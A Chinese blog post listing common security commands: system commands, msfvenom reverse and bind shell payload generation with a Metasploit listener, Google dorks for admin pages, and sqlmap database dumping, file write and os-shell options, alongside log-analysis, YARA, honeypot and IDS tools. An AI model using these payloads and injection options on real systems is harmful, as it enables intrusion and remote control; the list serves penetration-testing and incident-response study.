网络安全常用命令

发布于:2024-04-14 ⋅ 阅读:(166) ⋅ 点赞:(0)

windows

whoami
ver
ipconfig /all    
netstat -ano   
tasklist /svc   
netstat -anpt | findstr 15420   

taskkill /pid 14396  -t  -f

linux

whoami
uname -a
ifconfig            
netstat -ano     
ps -ef       
netstat -anpt | grep 15420      

grep "" /root/1.txt  文件内容搜索
find  / -name ""     文件名搜索

kill -9 15420
kill -9 -15420

ls -al /root

mkdir rmdir
touch rm
rm -rf

chmod 777 xx

tar -zxvf xx.tar.gz
tar -cvf xx

cat 1.txt >> 2.txt
echo "123" > 2.txt
>>追加  > 覆盖

python开启 web服务
python3 -m http.server -d /root/http 8000

lsof /root/xx
lsof -p pid

vim /etc/hosts

systemctl start firewalld
systemctl stop firewalld
firewall-cmd --zone=public --add-port=80/tcp --permanent 
firewall-cmd --zone= public --remove-port=80/tcp --permanent

msf

msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o shell.exe


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/bind_https LHOST=10.211.55.2 LPORT=3333  -f elf -o shell.elf

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -o test.apk

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6688

shell
upload
download
background
sessions
sessions -i 1

hostname -I
检索分配的所有IP地址

fscan
fscan -h x.x.x.x/24
fscan -h x.x.x.x/18 -np  低权限

谷歌语法

site:heimian.com intext: 管理 | 后台 | 登陆 | 用户名 | 密码 | 验证码系统 | 帐号 | manage l admin l login l system
site:heimian.com inurl:login l admin | manage | manager | admin_login | login_admin l system
site:heimian.com intitle:管理 | 后台 | 登陆 |
site:heimian.com intext:验证码
搜集一些基本信息
在地址后面逐-添加info.php phpinfo.php test.php 找到 php统计配置信息

工具

wireshark

tcpdump -i eth0  -w /tmp/1.pcap
tshark -F pcap -r 1.pcapng -w 1.pcap

ip.addr == 192.168.0.1

tcp or arp
not (tcp or arp or smtp)

tcp.port == 80
tcp.port in {80,443,8080}

frame matches "baidu.com"  #关键词查询

sqlmap

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"
sqlmap -r 1.txt

--is-dba
--dbs
-D xx --tables
-D xx -T xx --columns
-D xx -T xx -C xx --dump
--tamper=unmagicquotes.py   魔术引号
--file-read "c:/a.txt"
--file-write "1.txt" --file-dest "c:/123.txt"
--os-shell

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique EB
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)

nuclei

nuclei -l 1.txt -o 2.txt -t 1.yaml
nuclei -up  # 更新 nuclei
nuclei -ut  # 更新脚本

xray

xray webscan --basic-crawler http://example.com --html-output xxx.html

docker

docker compose up -d
docker compose down

docker ps
docker images
docker exec -it ddd2455b42ab bash

docker run
docker rm xxx
docker start xxx
docker stop xxx

oneforall

python oneforall.py --target baidu.com run
python oneforall.py --targets ./domains.txt run

httpx

httpx -u https://x.x.x.x
httpx -l 1.txt -o 2.txt

nmap

nmap xxxxx -sS -A 

dirsearch

python3 dirsearch.py  -u https://x.x.x.x
python3 dirsearch.py  -l 1.txt -t 15

Ehole

Ehole finger -u 104.21.65.37
Ehole finger -l 1.txt
Ehole finger -f 104.21.65.37   只支持ip
Ehole finger -s "baidu.com"      支持fofa所有语法

七牛Logkit

Download · qiniu/logkit Wiki (github.com)

./logkit -f logkit.conf

手机日志发送到本地a.log

GScan

GScan是一个适用于安全应急响应人员对Linux主机排查时的安全工具。 实现主机侧Checklist的全面自动化化扫描检测

Egstar1/gscan: Gscan是一款使用Python3基于web渗透测试开发的信息收集扫描器,其融合了大部分的信息收集能力于一体。如常见的主机探活、端口扫描、目录扫描、邮箱收集等,同时还提供接口用于拓展其漏洞扫描能力,对于python开发者来说,其作为一款开源工具可以自定义拓展功能。该工具借鉴了前辈们安全开发经验,让使用者在使用过程中简单、易懂、高效。 (github.com)icon-default.png?t=N7T8https://github.com/Egstar1/gscanpython直接开扫

结果

LogonTracer

LogonTracer是一款用于可视化分析Windows安全事件日志寻找恶意登录的工具

./f8x -lt

docker run --name logontracer --detach -p 7474:7474 -p 7687:7687 -p 8080:8080 -e LTHOSTNAME=192.168.122.131 jpcertcc/docker-logontracer

访问192.168.122.131:8080

默认密码:neo4j:password

支持上传windows日志文件,或者从Elasticsearch服务器载入

360 星图

一款web日志分析工具,支持lIS/Apache/Nginx

配置/conf/config.ini,log_file:填上日志目录

点击start.bat开始扫描

Goaccess

GoAccess - Downloads

Debian/Ubuntu
apt-get install goaccess

使用手册:
https://goaccess.io/man
根据日志格式选好对应--log-format参数

输出报告:
goaccess -f /home/wwwlogs/access.log --log-format=COMBINED > /root/aa.html

实时监控:
goaccess -f/home/wwwlogs/access.log --log-format=COMBINED --real-time-html > /home/wwwroot/default/x.html

ELK日志分析系统

Yara工具

检测文件工具

安装:https://www.cnblogs.com/lsdb/p/14977924.html

./configure包语法错误:先autoreconf -i --force,然后再./configure

可以使用-s参数打印出具体匹配的位置
yara -s test_rule.yar /etc/passwd

规则库:

GitHub - Yara-Rules/rules: Repository of yara rules

GitHub - InQuest/awesome-yara: A curated list of awesome YARA rules, tools, and people.

Hfish

反制溯源_欺骗防御_主动防御-HFish免费蜜罐平台

HIDS-Wazuh&Elkeid-hub(linux)

IDS-Snort&Suricata

规则库:
https://github.com/al0ne/suricata-rules
https://github.com/ptresearch/AttackDetection